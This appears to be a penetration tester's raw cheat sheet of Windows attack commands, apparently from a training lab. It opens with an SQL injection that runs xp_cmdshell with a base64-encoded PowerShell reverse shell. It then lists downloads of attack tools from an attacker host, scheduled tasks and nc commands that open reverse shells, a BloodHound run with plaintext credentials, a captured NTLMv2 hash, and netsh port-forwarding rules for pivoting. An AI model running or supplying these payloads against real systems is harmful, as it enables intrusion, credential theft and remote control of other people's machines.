3.0 KiB
webpage sql incjection:
' EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQAOQAuADkAMQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwB0AHIAeQAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAIgAuACAAewAgACQAZABhAHQAYQAgAH0AIAAyAD4AJgAxACIAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAIgAkAF8AYABuACIAfQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
iwr -uri http://192.168.45.203:8888/PrintSpoofer64.exe -Outfile pf.exe iwr -uri http://192.168.45.198:8888/SharpHound.exe -Outfile SharpHound.exe iwr -uri http://192.168.45.203:8888/nc.exe -Outfile nc.exe iwr -uri http://192.168.45.198:8888/chisel_1.9.1_windows_amd64 -Outfile chiesel.exe iwr -uri http://192.168.45.203:8888/agent.exe -Outfile agent.exe
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "c:\Users\web_svc\ns"
schtasks /create /sc minute /mo 1 /tn "Reverse shell2" /tr "c:\users\sql_svc\nc.exe 10.10.14.56 4242 -e cmd.exe"
schtasks /create /s "PC-NAME" /tn "My App" /tr "PATH" /sc minute /mo 1 /u Domain\User /p password
c:\users\a.hansen\desktop\nc.exe -e cmd.exe 192.168.49.91 4444
invoke-bloodhound -collectionmethod all -domain medtech.com -ldapuser joe -ldappass Flowers1 -zipFileName loot.zip
WEB02$::MEDTECH:1122334455667788:fc9d3e73bbbf28562c0aab342f0f95cc:0101000000000000e8672fa2d7c6da0155d090522781b7bb00000000080030003000000000000000000000000030000052e5b4d9e1d59e5faa306b0417df176ee00305b9b4219ccaccf2330883db92960a00100000000000000000000000000000000000090000000000000000000000
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=192.168.229.121 connectport=3389 connectaddress=172.16.229.12
Accept port forwarding netsh advfirewall firewall add rule name="port_forward_rdp_3389" protocol=TCP dir=in localip=192.168.229.121 localport=3389 action=allow